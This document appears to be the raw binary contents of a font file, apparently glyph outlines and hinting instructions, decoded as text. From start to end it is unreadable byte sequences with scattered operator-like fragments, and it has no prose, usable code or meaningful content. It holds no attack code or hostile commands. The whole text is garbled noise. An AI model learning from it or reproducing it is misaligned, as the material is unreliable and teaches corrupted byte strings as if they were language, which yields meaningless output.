?33/32222?322//^]2/]3]9/9]]]2/]]310]]]]]]]]]]]%#"'#"'&547632&#"327&5476323274'&#"6IffTSfzo^ffCM&/U69KH~HP{{PH}/=++ZZ#;%%6vhoicyy'lVPbbNXfffVv-_@ J@e 4Wg*:Jz4F,+,,,))V)$$V$  < L   @Q4 :6F%5!+@    4@@ 4&-&@@ 4/'& /]]+M9/+M+_^]?3M?99^]r]r]qr]r^]^]q?+10_^]q]q^]]]q]]q]]]]^]q]r+_^]_]#"'532654'$&5%632!"3 v=zwdfu[MAOJNQ.'O@!3CFV  @] 4:  """f"v"$v$+&& '7x 4$ @ 4@ '@. 4'`'p'''''/?O!%@    @'4@$'$)#$?/]q^]9/]q+_^]?3M?9/]9/]q+?M+10_^]^]q^]]]qq]]]]qq]r]]]]q]q+_^]^]]q]_q#"'532654'#"'&5763 &# !2wNcwdfu[MAOvtgA2(%ngCuMdy=w.VB8<o@jh 0i d@G    0@ P`p : @ P   /]qr^]^]9/^]??10!3##!5!  && l  W@ W%@@$ 4@P0 +  + ??9/]qr+M_^]]10!3##!5!t_?-1i"Z@+     0@  @ 4/+M9/9/_^]??10#!!5!!!33"Æi  &J&L@+ +  + %@ + % /]]^]9/9/]??10#!!5!!!33J_t-nWi:@  4  H@   @%44@4  @ @#4 @ 4  /q++M_^]+++M??9/10_^]]q^]###"'&'&53!2733:Ċt,(*†iOa>Fyocy[E&@4 fv6fv  -H + %@@ %,4+@@ 4% O  /]+M+M??9/10_^]]q]q###"'&'&5332733m^d$! ?"+)@I 4%%&%y%% :  )U e W g w w'  @k 4p  +++O+_+o+++++ ' $ #$-+$@@154@*-4@4oO/]q^]q+++3M2??9/_^]rq9/]+10_^]^]q]q^]^]q]]]q+!327!"'&' 547367632&'&#" LVN]膂 3>kw 8VTO  `m?N"-(J sChXU &/@e-&-V-j)))Y)$$u$6#9! z 9 e W F }% &_o'& 1/&&///+"  ?3?9/22/3222^]3/]]]]]9/10]]]]]]]]]]]]]]]]]]!3 #&'$ 47776! '&'&#" uz=S3Ƅ%:D [U qq p}32omQ| ID)6J O莞 >%.@X-G,g,j(  w 5 kGW  $ &$0f.W..$_$. ..*"  ?3?9/22/32^]]22]]3/9/10]]]]]]]]]!327#&'&' 547367632&'&#" LVNUsl3>kv 8VRO  `m?N"-(J sChXS,["6@ $Xj@ B>=A@!)++5`6` $h@ =98A;")++5Q2@9$ Y v111P1`1p1 %.,..,.,)/@4]@4)#  ,,, ...P.,.%%&@@ 44  0/^]^]+M9/9_^]_]^]??9/?9/+9M+}10_^]q]]^]]%!"$'33254'&#!#327676767632"&#" H[VjF%J76NHYp 4 g9 3J7'ux,$- yR~R+*X,(G'4Q&.@hw I Y i  ig)----v---H*(**("*(%+%" @(4*@$4(*_$$$$$$$$ $$$@@( 40 %% /q]qr^]q+M9/_^]r9++?M?9/?9/_^]99+}10]qr]]q]]q]%#"'&'3327654&###327676767633'&2۪w{,͍PGдd0:(,:+_$2K '*5ʅk㘟OQvgD&5A` I( dj5iWS@5  % @P`/]q]9]qr????10%##!#"'732765!W RFi@Z!0"]  CF<h/&@<v&6x +  %@&  4@4@$(4@%o/]q]++3+3_^]_^]M/???10]]qr]%##!#"'532765!Д# ?6f?ROaD?-m4,0nQ"d@B& JZ    o/]q]??9/?9/]10]]]!"'&'332!#3!3"ǙWcEʾQS.&)- MZQ&^@;fv+  %%%0/^]qr]qr??9/?9/10]%#"&'33 !#3!3py٨, b珛zx)&Fi^@=    %  P`p  /]]q???9/]10^]%##!#3!3ڼ­MZ&@?I +   %/@&  4@4@ $(4 %0/^]qrr++3+3_^]_^]]M/??9/10^]]r]%##!#3!3Д ?-)&FnWip@ dtH@0  @@#4@ 4/q++M_^]??9/^]10]q]!##3#"'&'&53!273Ċt,(*iDa>Fyocy[E&@9    H@@ 4+ +@@%,4%%O/]^]q+M??9/+M10_^]]]^]]!##3#"'&'&533273tm^d$! ?"6( $hj@  A!)++5K6H $@ " A ")++5c-6$j@ %& A"!)++55U(6%@ $% A$")++55[-6@Xj@ AB=AA!)++55`6`W@ <=8A9")++55N-6A,j@ *+A*!)++552b6a@ *+ A*")++55N 4@&)4   9Id; p  p0@. ,/4Jo@ @+ 4    { &  /9]q99?3^]]+?M_^]r^]+9/_^]M+}10^]q^]^]_]^]]q^]]]]]++# 7327654'&##5!5!Pow`}`e[ip[U Pmuzk0[`BLF9LQ&d 6Bj@  A !)++5_6b@  A ")++5 -6Bj@  A !)++]556b@  A ")++55c-62j@  A!)++55D'6R@ !A")++55`-6&j@ '( A'!)++55D'6'@ ")A"")++55J\-6W^j@   A!)++55+6w@`A")++]55 6M@j@0@A!)++]5!Q_6\@  A")++5 -6M@j&@4A!)++q+55!Q6\@@ A")++q55 ,6M,j-@o@ A!)++]q55!Q6\+4p@ " A")++]+55W-6Q)j@  A!)++55E6q@  A")++55k-6U'j @  A!)++]55.6u@A")++]55J N@5eudt(   &/?_o/^]]??9/10]]]!! 4763!3!"3n^070gRk9rH>X>1FGJ9*@  X h    'YYiyc s c%s%8)H)  \l|'*  P0@ #%@@4,#& / ? _ o  /^]]+M9/_^]q9]?3^]]q?9/?10]]]]qr]]q]# '! 4763!33235!"32769iomn^*9070gQdixk9rG`C{H>X>1LPF}"21.@i 4111--))((%%%%% *   $ !@"4!!?!O!!?!o!!!!!!@i 4%'91jz;1/ #%+ %@@'*44+$@@(+4?O_/]q+M_^]q+M9/_^]^]r9]?33]]]]?22+?/_^]qr+10_^]]_^]]]]]]]]]]+# '#"'&'&576323326765534'&#"3276}ipcikg9;jj7A|I};LI9?MJ=yIGz]ER`TD+)@ 4 aq!FVf!"""%%%% ((,(+54*@"4**?*O**?*o******!  P    o#'@ !@G 4!!!!t!!!  #$%######*%-/^]]^]9/q]qq9/]9qqr+?M?_^]9/^]q9/^]qr+10+_^]]]q]]]]q]q^]+#"'&54'�&#"'!23253ipnOqy`a +(!@< 4Qa+54 o# +@ @/ 4f   $_o%_  ! !`!!#ɰ/]]qq9/]9q+?M?_^]9/910+_^]^]^]qq+##4'�&#"'!23֔n9jE(%aM=P2en~t-/y% +(@o % u IiSc6F7GTdVf       % %/$@@#&4?/]+M_^]q9/??^]]9/10]]]]]]q]q]!"'&54763 &# 32765!5KxvgA2>MsJFԠjiMJl0s@f( 4j(8  Po %? P   P @ P   /]q]]^]q?/]qrq?10]]rqq+#"'&5!5!!323siogV*9xk\E_C&&@d$4@"4/O_O +  %@@4  %@@4O  /]]+M_^]+_^]M??/]qr+10_^]]]q#"'&'&5!5!!32676553ip|en/&_7@}I}y6;kV㕕 R`TDfV@G5<$+Y@iI@V>$GFY;?/b@X>'V4W9?18 9 @!44X $ $  "?^]/10q++#654' XHCqT3o=:Z\.@? 4 @4/#@@4 @@!4@!4@!4/+++/_^]q+3_^]+10_^]]+#'73.{{\R\ !4@4dt?Ӳ @ #4 @ 4 @ $ Ӳ@@ !4$@@/o  4 /+_^]]qM/]q+M/++M10_^]]++!527654'3#"&546qCHX0#"11"SGZ:=o3Y#01""2V8 9 @!44X $$  "?^]/10q++"#&5!qCHXT:=o3]T8 9 @!44X$ $  "?^]/10q++"#&5!TqCHXT:=o3]T8 _@ !44 @!44XX$@ $ $  "?^]/10qq++++"#&5!"#&5!TqCHXTqCHXT:=o3]Z:=o3]f+74@m) $4 )@@4_ #@ 5 $4 5@@4/?O_//?Oo @@4P & @@3 4 $4 2@@4_ ,@ 4@ $4/3++_^]q+2++_^]q+/_^]]r+33_^]+33_^]q+33_^]+3310#"''7&54632'#"&54632%4&#"326%4&#"326fz\O0/+~[Z|E/0O[{}Y]|+R8>OP==PQOP==PQjOF@ 4  ? O _  "$$ /^]?^]9/10+#"'#332553&+F)VV !VVI6=  T|\!$$@/]/10!5353V\Vi\@? 4 @4/#@@4 @@!4@!4@!4/+++/_^]q+3_^]+10_^]]+#'73{{\V\ a!4@4Wg ) $ $@@/o  4 /+_^]]qM/10]qq++!527654'3qCHXGZ:=o3\T !4@ 4 !4@ 4Wg )  Wg )$ $@ $@@/o  4 /+_^]]qM/10]qq]qq++++!527654'3!527654'3TqCHXqCHXGZ:=o3Z:=o3\ m@ `@@+-4/ @!40/]+99/_^]+_^]qqr1057'77AA7!N7!KV8 9 @!44X $ $  "?^]/10q++#654' XHCqT3o=:Z@d  $4 @@4/?O_ / ? O o  @@4_  @ 4@ $4 /3++_^]q+/_^]]r+33_^]+3310_^]'#"&54632'4&#"326/0O[{}Y]|+!N?8RN<=P/+~[Y{]N1?MT8fV@G5<$+Y@iI@V>$GFY;?/b@X>'V4W9?1t U@  4 4 4 @ 4 @@ 4 @ @ 4 "?+/+10++++#"&546324#"32tB22BB22B1CCCC'2BB22BB2CCCY  "?/10#"&54632&!20#S- 2!#03@@/@4@@ 4/@@ 4(@4@m4@.l4@4o?O@4@Os4@>E4@7:4@.34@$)4@4@4@ 4//]q]+++++++++/_^]]qr++++9//_^]+_^]++_^]10#'3!5!lu3@@ 4@@ 4 @@ 4(@4@m4@.l4@4o?O@4@Os4@>E4@7:4@.34@$)4@4@4@ 4//]q]+++++++++/_^]]qr++++9//_^]+_^]++_^]10#7!5!炇3u"3 44@ 4@@ 4@@ 4(@@ 4@4@ 4 @ @  @ @ @%4 @LS4AE4@)04^p @w@ 4@m4@.l4@4o?O@4@Os4@>E4@7:4@.34@$)4@4@4@ 4//]q]+++++++++/_^]]qr++++M_^]q^]+++M9/+/M_^]9/+++_^]+_^]+_^]+10++#7#"&#"#47632325炇+$Ea62O&+?3NNU/+II"3q 4 @4@4@ @ @ @@@%4- @LS4AE4@)04^p @{@ 4 @m4 @.l4 @4o   ? O     @4@Ms4@>E4@7:4@.34@$)4@4@4@ 4//]q]+++++++++/_^]]qr++++M_^]q^]+++M9/_^]+/M_^]]+_^]10++#53#53#"&#"#47632325+$Ea62O&+?NNU/+IIX34@@ 4 @@ 4@@4@4@m4@.l4@4o?O/@@4@Ms4@>E4@7:4@.34@$)4@4@4@ 4//]q]+++++++++_^]q/^]]qr+++++/_^]]q+_^]++10#53#7D}炇 3 @ @4@@4 @ 4@m4@.l4@4o?O @4/@@4@Ms4@>E4@7:4@.34@$)4@4@4@ 4//]q]+++++++++_^]q+/_^]]qr++++9/_^]++99910#53#'37DOObb3 @@  @ 4 @m4 @.l4 @ 4o   ? O     @#%4@4@@4@Ms4@>E4@.34@$)4@4@4@ 4//]q]++++++++++/_^]]qr++++/_^]]10#53#53!5!}uQY6$b A+55JQ>6Db +>8A+556%j+շ+.A+!)++]56E!A")++56%} ,ɴ,- A+]56E} A+56%n´,+ A+56En0  ߴ ! A+]5f[v,6&7j;P7@77 A0 0O0/0000H+7!))+++]q5+]5Po6F7L44 A@U/0 H+4"))+++]]qr+5+5Z6'^j@ 5!A!)+++5F6G@P`2!A")++]5Z6'}R@  4 A++5F6G}  A+5Z6'n  5 !A++]5F6Gn @ @ 4   !A+]q+5=Z6'c )*A+5F=6Gc )*A+5iZ6'j#5 #$A++5Fi6Gj#@ 4#$A++536( x@  A+]55K6H7C(T#@4#4# 4@$##!A! A##_#####@ 4#")+/+]r5+5++++536( y A+55K6H7(?@+%%%%!A! A""_"""""@ 4"")+/+]r5+5+]5i6(j  A+5Ki>6HjI #$A+5i6(m  A+5Ki>6Hm0 'A+5["6^j@ '!A$!)++5K[6@ ;5''A8")++56),j@  A !)++56Idj@ 4 A!)+++5m6*j@ &) A&!)++5BQ_6J@?++ +.A+")++q5"6+j@  A !)++56Kjɷ A!)++5"6+}p  A+56K}  A+5"-6+j@  A !)++55-6Kj@  A!)++55["6+( D4δ A++5h[6KD4δA++5i"6+k  A+5i6KkD  A+5i}6,m,  A+5i06Lm5A++5 $46, "@  A /555+5557466re@ A A @ 4 @ 4 E5@40` @P@.]qr++55/++5+55+5R,6.,j* @5` O _  A !)++]q+5,6Nj @  4v A !)+++5R6.}> 5 Ҵ  A+]+56N}) @ 4 P `  d A+]qr+5R6.n@@ 0 A+]q56Nn @  40@` A+]+5*6/} A+5~K6O}|@ OA+q5*6/7}j* 5@ AA !)++5++5)6O7}qj@ AA!)++5+5*6/n_  A+56On5A++5i*6/jd  A+5i6Oj  A+5,60j%@4 A!)++]+5&6P$$A$")++560j@ A!)++5&6P@ $'A$")++560}  A+5&>6P} %&A+561j@  A !)++56Q@  A")++561}l  A+5>6Q}  A+561n  A+5>6Qn5  A+5i61j A+5i>6Qj:  A+5c362 zC ( A+55D'6R7Tf@N55555&A&A5@7945@45@ 45@45/55/555)@ 4)/)@))_)))/]qr+5/qr++++5+5+]q5c362 { @ ,$A+555D'6R7,Q@<?2229&A&A2@522?2_222)@ 4)/)@))_)))/]qr+5/]+55+5+]55c362 x ! A+55D'6R7C(T@44 4@$AA_@ 4")+/+]r5+5++++5c362 y ! A+55D'6R7(?@+!!!!AA_@ 4")+/+]r5+5+]5,63jA!)++5i!6S""A"")++563j@  A!)++5i!6S"A"")++]565@jٷ&&A#!)++56Ud@ A")++565}z$@ 5 $P$$մ$%A+]+5>6U} ҴA+5657}z6j>'4'*A$@ 5 $P$$շ$%A'!)++]+5++5^_6U7} A!AҷA")++5+565n %0%@%%&A+]5&>6Un]ѴA+]5\66Jj@ 14A1!)++5?6V@ 14A1")++5\66}423)A+5?>6V}23*A+5\366 | 66A+55?6V6qjB?5O5@$5522A444A?555555@ 451")+/+]5+]5+]5\366 } 76A+55?6V7j<@ O88;54A5@554A8?888885")+/]5++5+]5\667Jj}4"@67)A14A1!)++5+5?6V7}"@67*A14A1")++5+5067j@  A!)++5$*6Wj@ A T !)+]+5067}  A+5$*6W}A+5067nu  A+5o6Wn6δA+50i67jt  A+5i6WjJݴA+5i"68a  A+55i&6Xa& A+55i"68m  A+5i&6Xm2 " A+5i"68j A+5i&6Xj@OA+]5"368 z ! A+556X7Td@L4444%A% A4@7944@44@ 44@44/44/444(@ 4(/(@((_(((/]qr+5/qr++++5+5+]q5"368 ~@  A+5556X7G@$ A A@*-4@4@ 4_")+/]r+++55+5+55 F69Xp@   A!)++56Y@   A")++5 F69}<  A+5&6Y}  A+5v6:vj>@+k4aj4Q_4@HP4@4B4@.04 A!)++r++++++56Z@ A")++5v6:}b"@@]g4@4>4@.04 A+r+++5&6Z}p@ OA+q5 I6;ij@  A!)++56[@  A")++5 I-6;ij@  A!)++556[@  A")++55F6<hj@   A !)++5!Q6\&@0 A")++]q5),6=Aj @0P`A!)++]5(6]-@ 4@pA")++]r+5)6=}  A+5(&6]} A+5)6=nl  A+5(&6]n A+56Kn6  A+54-6Wj%@ A T !)+]+]556Z&@ 4A")++]+55!Q6\"@ 4! A$")+++55J6D@ ;8A;")++5V6Zj@ A!)++5HS&6. d@ +!A%")++5HS&6. d@ '(A"")++5HS&6. d@@00!A)")++]55HS&6. d@@++!A&")++]55HS&6. ,d&#@ 4#H##A)")++]+55HS&6. ,d&#@ 4#H##A&")++]+55HS6. d@P@@@AA9")++]55HS6. d@P;;;<A6")++]55Y6$ Ü$@ 4 /A+]q+5Y6$ &@4P 0P"A+]q+57$, / 4?@A @5.+]55+]+557$, / 4?@A @5.+]55+]+557$, + 4?@A @5.+]55++557$, + 4?@A @5.+]55++55V7$, P(?@A @5.+]55+]55V7$, P(?@A @5.+]55+]55bc&60 d@ 01##A)")++5bc&60 d@ +,##A&")++5bc&60 dd@ 4%##A-")++55bc&60 dd@ /%##A*")++55bc&60 d@4@ 44%##A-")+++55bc&60 d@/@ 4/%##A*")+++557( /@  tA@ 4/_.]+5+]q57( /@  tA@ 4/_.]+5+]q5@7(X >@  0 @  A4@ 4/0@p.]++5+]55@7(X >@  0 @  A4@ 4/0@p.]++5+]55@7(X >@  0 @  A4@ 4/0@p.]++5+]55@7(X D@  0 @  A4@ 4/0@p.]++5+]q55i&6 d@   A")++5i&6 d@  A")++5i&6 d@ # A")++55i&6 d@  A")++55i&6 6d@ # A")++55i&6 6d"o@  A")++]55i6 d@ 34 A,")++55i6 d@ ./ A)")++557+ 8 4r@!A/O_o .]q5++57+ 8 4e@!A/O_o .]q5++5z7+X :@  0 @ @! A@P/0_o.]q5+]55z7+X :@  0 @ @! A@P/0_o.]q5+]55z7+X :@  0 @ @! A@P/0_o.]q5+]55z7+X :@  0 @ @! A@P/0_o.]q5+]55z7+X >@  _  @! A@P/0_o.]q5+]q55z7+X >@  _  @! A@P/0_o.]q5+]q55_&6 Üd@ A")++5_&6 d@  A")++5#&6 ҈d@ A ")++55#&6 ߈d@ A ")++55s&6 d.4 4@ A ")++++55s&6 d.4 4@ A ")++++55@6 Ԝd@ #$A")++55@6 d@ A")++55I7, 5W@A@4@ 4@ 4O_/?.]q+++5+5I7, ; J@ A@4@ 4@ 4O_/?.]q+++5+]57,X )qA@5/_o.]+5+557,X )qA@5/_o.]+5+557,X )qA@5/_o.]+5+557,X )qA@5/_o.]+5+557,X :@ /_zA@5 /_o.]q+5+]q557,X :@ /_zA@5 /_o.]q+5+]q55D'&6R d@ %&A")++5D'&6R d@  !A")++5D'&6R d@ )A"")++55D'&6R d@ $A")++55D'&6R d$))@ )A"")++]q55D'&6R d+@p$$_$o$$@ $A")++]q55A62d :@- (0((P((((A@4`_p.q]+55+]q5A62d 0@$P# ##A@4`_p.q]+55+]572 84@ 41A`_.q]55+++5572 84@ 41A`_.q]55+++55m72 F 4@'5oA@5/?@.q]+55+q]++55m72 F 4@'5oA@5/?@.q]+55+q]++55&6# d@  A")++5&6# d A")++5&6# d #@ # A")++]55&6# d @  A")++]55&6# ,d7#4#@ 4p##@ # A")++]q++55&6# ,d94@ 4p@  A")++]q++556# d/343@ 4334 A,")++q++556# d..4. 4@ ./ A)")++++55r7<, %P@A@4 ?.]+5+]57<X O5 4@ #4@A@4@5?.q]++5+q]+++557< 3 4 4 @ A .]5+]++557<X 1@% P ` p F A@5?o.q]+5+]55W&6& d01#A)")++5W&6& dܷ+,#A&")++5W&6& d@ 4%#A-")++55W&6& d@ /%#A*")++55W&6& d@ 4&#A-")++55W&6& d@ /&#A*")++55W6& d$D5@ DE#A=")+++55W6& d@ ?@#A:")++556 d @ **A@P.]5+56 d !P%`%@%%A@P.]5+q57  <4@4@`#A@ 4.q+5+q++557  <4@4@`#A@ 4.q+5+q++55+7  C4@40@pA@5@P@.q]+5+]++55+7  C4@40@pA@5@P@.q]+5+]++55+7  <>4>5>>A@5@P@.q]+5+++55+7  <949599A@5@P@.q]+5+++55HS6.C@ """A"")++]5HS6.@ $$A$")++5bc60C*&@ 4&&&&&##A&")++]+5bc60n@((((##A%")++]q5i6C@ A")++5i6*@ 4طA")++]+5^6C%4A")++]+5h6@ 4A")+++5D'6RCA")++]5D'6R@ A")++]56#C! 4A")+++56#@  A")++5W6&C!& 4ط&& A&")+++5W6&&@((((((((( A%")++]q5HiS&6.7 d#@//. A,-A%")++5+]5HiS&6.7 d'@//. A''(A"")++]5+]5HiS&6.7 d*@332 A@00!A)")++]55+]5HiS&6.7 d*@332 A@++!A&")++]55+]5HiS&6.7 ,d4@ 332 A#@ 4#H##A)")++]+55+]5HiS&6.7 ,d4@ 332 A#@ 4#H##A&")++]+55+]5HiS6.7 d,@CCB AP@@@AA9")++]55+]5HiS6.7 d,@CCB AP;;;<A6")++]55+]5iY6$6 Ü.@ A@ 4 /A+]q+5+5iY6$6 0@ A@4P 0P"A+]q+5+5i7$,6 9@ ! A 4?@A @5.+]55+]+55+5i7$,6 9@ ! A 4?@A @5.+]55+]+55+5i7$,6 5@ ! A 4?@A @5.+]55++55+5i7$,6 5@ ! A 4?@A @5.+]55++55+5Vi7$,6 P2@10A?@A @5.+]55+]55+5Vi7$,6 P2@10A?@A @5.+]55+]55+5i&67 d@"!A  A")++5+5i&67 d@"!A A")++5+5i&67 d&@ &%A@ # A")++55+5i&67 d&@ &%A@  A")++55+5i&67 6d&@ &%A@ # A")++55+5i&67 6d,@&%Ao@  A")++]55+5i67 d"@65A34 A,")++55+5i67 d"@65A./ A)")++55+5i7+7 B@ A 4r@!A/O_o .]q5++5+5i7+7 B@ A 4e@!A/O_o .]q5++5+5iz7+X6 <C@A 0 @ @! A@P/0_o.]q5+]55+5iz7+X6 <C@A 0 @ @! A@P/0_o.]q5+]55+5iz7+X6 <C@A 0 @ @! A@P/0_o.]q5+]55+5iz7+X6 <C@A 0 @ @! A@P/0_o.]q5+]55+5iz7+X6 <G@.-A _  @! A@P/0_o.]q5+]q55+5iz7+X6 <G@.-A _  @! A@P/0_o.]q5+]q55+5Wi&6&7 d &@ 332 A01#A)")++5+]5Wi&6&7 d &@ 332 Aܷ+,#A&")++5+]5Wi&6&7 d &@776 A4%#A-")++55+]5Wi&6&7 d &@776 A/%#A*")++55+]5Wi&6&7 d *@ 776 A@ 4&#A-")++55+]5Wi&6&7 d *@ 776 A@ /&#A*")++55+]5Wi6&7 d 2@ GGF AD5@ DE#A=")+++55+]5Wi6&7 d *@ GGF A@ ?@#A:")++55+]5i6 d7 \!@,+ A **A@P.]5+5+5i6 d7 \+@ ,+ AP%`%@%%A@P.]5+q5+5i7 6 F@ 0/ A4@4@`#A@ 4.q+5+q++55+5i7 6 F@ 0/ A4@4@`#A@ 4.q+5+q++55+5i+7 6 M@ 0/ A4@40@pA@5@P@.q]+5+]++55+5i+7 6 M@ 0/ A4@40@pA@5@P@.q]+5+]++55+5i+7 6 F@ @? A>4>5>>A@5@P@.q]+5+++55+5i+7 6 F@ @? A949599A@5@P@.q]+5+++55+5HS6.&@/((( (p(2(" A%")++]qr5HS_6.$@/!!!p!2!$ A!")++]qr5HiS6.7C'@&&% A"""A"")++]5+]5HiS>6.@ ""! A+]5HiS6.7#@&&% A$$A$")++5+]5HS6.@/!o!2!- A0")++]r5HiS6.7+@::9 A/!o!2!- A0")++]r5+]5Y"6$Tj@ A!)++5Y6$Lj@ A!)++5Y6$C#@@P`HA>5+]5Y6$"@`AA>5+]5iY6$ A+5@ !@     /9?99/^]10'6765#53#%j,>`Ci59,T8i"@ 4%//^]?]+10#3(di@ !@     /9?99/^]10'6765#53#%j,>`Ci59,T8س4@%#4 4 #4-;4% @ @;?4@#4@4 "@@4@ 4 _o/]]q++99?M+++10_^]_^]+++++#"'&#"#&7632327?gCN58_>k;#: 8$_a?D>_͹س4@%#4 4 #4-;4% @ @;?4@#4@4@ @ 4<<< @@4@ 4 _o/]]q++999/M?+M+++10_^]_^]+++++#"'&#"#&7632327#53#53?gCN58_>k;#: O8$_a?D>_=i67C@AA")++5+5i>6 A+5i674@ A@ 4طA")++]+5+5i6@   A#")++5i67 @-,A  A#")++5+57(,C. 4@ A/>5.]q5++57(,"2@  0@`p@A/ >5.]q5+]5N7+,C0 4@ A@4/0>5.]+5++5N7+,"4 4_@A@4/0>5.]+5+]+5i"6+  A+5@@''   S@@4@ 4`@@@4  @@ 4/+M9+M+_^]M^]r+M_^]?^]99/^]10q#3'6765#53#%j,>`i59,T8@@)(  @@ 4`@@4 S@@@4  @@ 4/+M9+M_^]^]r+M+_^]?M^]99/^]10q#'6765#53瑇#%j,>`i59,T8@ س4@%#4 4 #4-;4% @ @;?4@#4@4@<      @@4@ 4 _o/]]q++999/_^]M9?^]r99/^]]r+++10_^]_^]+++++#"'&#"#&7632327'6765#53?gCN58_>k;#: \#%j,>`8$_a?D>_i59,T8 6ٍ@  A")++5_6؎@ A")++5466Crt %4 @4 A A @ 4 @ 4 E5@40` @P@.]qr++55/++5+55+++5466re@ A A @ 4 @ 4 E5@40` @P@.]qr++55/++5+55+516׍@ A")++5166ri@  A A@4@ 4E5@40` @P@/]qr++55/]++5+55+5i"6,j@  A!)++5e6,j@ A!)++57,,C4 0@A@4/>5.]+5+]57,,"2 0A@4/>5.]+5+]5@@''       S@@4@ 4`@  @ @ 4 /+M9_^]+_^]M^]r+M_^]?^]99/^]10q#3&'&553#,j%#`T,95i8@@)(     @ @ 4`@@4S@  @ @ 4 /+M9_^]]^]r+M+_^]?M^]99/^]10q#&'&553#瑇,j%#`T,95i8@ ܹس4@%#4 4 #4-;4% @ @;?4@#4@4@0   @@4@ 4 _o/]]q++999/M9?_^]r99/^]]r+++10_^]_^]+++++#"'&#"#&7632327&'&553#?gCN58_>k;#: \,j%#`8$_a?D>_T,95i86#@  A")++5_6#@  A")++546#7Crt%4@4A A@ 4@ 4E5@40` @P@.]qr++55/++5+55+++546#7re@A A@ 4@ 4E5@40` @P@.]qr++55/++5+55+5iE&6! d@ %&A")++5iE&6! d@  !A")++56#@  A#")++56#7rm@(A A+@4+@ 4++E5@40` @P@.]qr++55/]++5+55+q5F"6<Gj@  A!)++5F6<Gj@   A !)++57<C7 @ 4 0 P @ A?o>5.]5+]+57<"+A@ 5?o>5.]+5+]573 :  4k A@50/_p>5.]q+55++5 d@O "@ u@(@ ,/4p/]+_^]M3/^]3/?]10#53#3#53uȺ d@O  "@) u@(@,/4P_/]r+_^]M3/^]3/?]10#53'##53uĭUYX@ '7 4`@@@4S@ "?]/]q+M+_^]10]#3ёWi6&7C /@ **) A& 4ط&& A&")+++5+]5Wi&6& @ &&% A+]5Wi6&7 3@"**) A((((((((( A%")++]q5+]5W6&@ %%1 A4")++]5Wi6&7 (@>>= A%%1 A4")++]5+]5 72,C@A.]55+5A62d"6@0@@A@4p`.]q+55+]57 ,C$۶A@ 4.]q+5+56 d"2!@ 4p!!!!!A5@P.]+5+]+5ai6   A+5O^@(8@ 4`@@ 4 S@"?]/^]q+M+_^]10]#Oܕ@ !@   /9?99/^]10&'&553#,j%#`T,95i8 f#@l( 4 [k   48 4+!!!!!!+_o "+ %#"%## #@##%$/]9/9/??9/q9/^]9/]++10_^]^]]+!!"'&547632&#"3!!!!!fރ}mq 2PEFN_U|TXueanfv#)0^@06IYiIYi9 *J Z j I !$)&'  *0 &$ )'0*! ##@#P#`# #!** ! ! )$ '& 0* @@+4 &#& 02.&/]]]9/]9/q+_^]9999?M?99^]^]9999}10]]]]]]]]]'##7&'#7$76%7373&'$&'v;G=';5BB"5;,7K8J;F,l`WfD LT xo-^>Z ! fv+(@X*(47G*:Jz 4F,*|**V 6<L  & 4@t 4&$).:66F Iz ) !!)%+ + -& /]]9/9/?2?99r]^]r]qr]r^]^]9/^]22++10_^]q]q]^]]]]q]]]qqqr+# '&76!2!"3632&#"$v;A.BB*;LVL-2ٕ1:'_s^=&)(@\F V '''#'3''$ #!"  ! #"$&  "#0#@##6##"# $ @@L 4T%@ %O!!&!! %??_*)9/]]q2]]q]q9]]q+9_^]]_]q???2M239}10]]]]!#4'&'&#"#5#54#"#3632363 & 7.>?2ӯ;oC̮v#"H['C#P_M&$"%)@)!# '&!%!## !!' @ @\(K4& @% @(K4O  !#!# O+(!   _o@/^]qr3322]r222299??999/]+9/+M+}10_^]]##!##535#533!33#3!5!'5#%'#x)xxxx*غxxxXXAABB? -IR@YJPZPiK5GEGFDfDv@/U+v&y!  :J EN99;M@</;*@4*&6VfXx  "P`  @ /0040000000 IIIIIII......J&C CCCCCC;N: O;; ;* $$@@!4/%`/_o $ $T^]qq+M99/_^]q9/^]q]]]q2]qqq]q+3?M_^]?]9]]qq+??M9/310_^]_^]]]^]]]]]]]]]q]]]]]# 7327654'&'&'&'&54763 &#"#&'&'&'&###!24!!!276 d|w=_BS5$20(yfa-[~2+A+N4-,NXE=cN'WJA0K'8Z,U$-X=#%)1NAMXJ=hK$ $1 .I>l1f:k! u'rdy9&#Pst=v#&)-14@0H.h.6&&9$$$ &v)H VY%2%B%) #')!"())*+$%-,&%%.124/0344 4)%$& !+,./ #"*-10 @'(23  '4@4'44 '44'4@4 '44'4@\444Z4F4)()H)))U)[EZU(xT J4%) &06 &/^]9]]]]]]]]]]]]]]]q++++++++++++?3?39/_^]9/9}ććć10]]]q]q]qq]q]q]]q]qq]!#!#!53'#533!3!33#3%!3#'#'!3#v{{1{w?vvezskzzA=)JJBx>BA_5.y7AABBB Rq4!4@'4g   lF%5#.Q8A @ @R:A46FFV Z )'  @   @"40/^]+_^]M9]]]]]]qqr+9/??9/_^]q99]qr^]^]^]q]q]]]qM+}ć+}10^]^]]+++!!###5333!!!R2wwV#D7/0@78 8   /?  0    @    0@ P`p :@P/]qr^]^]9/^]329/]39/3??9/q]9/]]}10qqq!%%#5%55%!5!OOMM ϳTEϲ)i7GYd@UDdX(h(x(+%7e7u7 JJ 'T7TXW;WX L,361<D Z\R&V$\Va@RZ&6L1,R 4R&&@L@&4&LVLL&,&&,0,`,,&,&,_H&@@' 477gw@@X  8f_!/2]]2]q3^]+M99//_^]]]]+M+3333/9999//?3210_^]_]]]^]]]]]]#"'#6767632!"'&'#"5463267767'6%674'&#"32764'&'326&#"3276WSlVK %%Y^RWЇqhAA[oOP=E0;[8G2Bj '-IJ1-/2GF.)AW;E)F@<(RLXz_{B@-AqHOLM9F"e#~ORHLG65Nj&SmP-dE0.@g          0@`!   o  /]q3q22]2q22//]9/9/^]}10qr]]qr##57573%377VVVfVY +YYYYG\YYYfZ[N'/7?GOW_gow@chlPTT\Xx|8V>V>"^ZZzjZZjzf" *..&"f/9/9///99//9//9/9///99//9/10#"5432'#"5432#"5432#"5432#"5432#"5432#"5432#"5432#"5432#"5432#"5432#"5432#"5432%#"5432#"5432'#"5432044004403131$0440722223113R31132222044004400422$04402222\2222311322222220113331222331V113{1132/5H113004 331222331113404.113Sl2/@ &&V@"?/10]] #!l{)}Sl2/@ ))Y@"?/10]]#!5 l{){So $@ "?22/10$#"#6632oxN#߉p!UfJUSo $ @ "?32/10#"%53267o#߉p&xNUUfJ& 5@ + %@ 4/+M??9/10###5333noonCQ:&P@. 4   %@@484@4O9/]qr++M_^]??10+#"'7327653:3BID"6M :NdN#j\Q'1&@ 4" 4@)+4    @>A4/(01//1%1%11%/%//4/1$ /+ +$@ @c4Pu  Z0@P&/- $----1($@@ 24$@@ 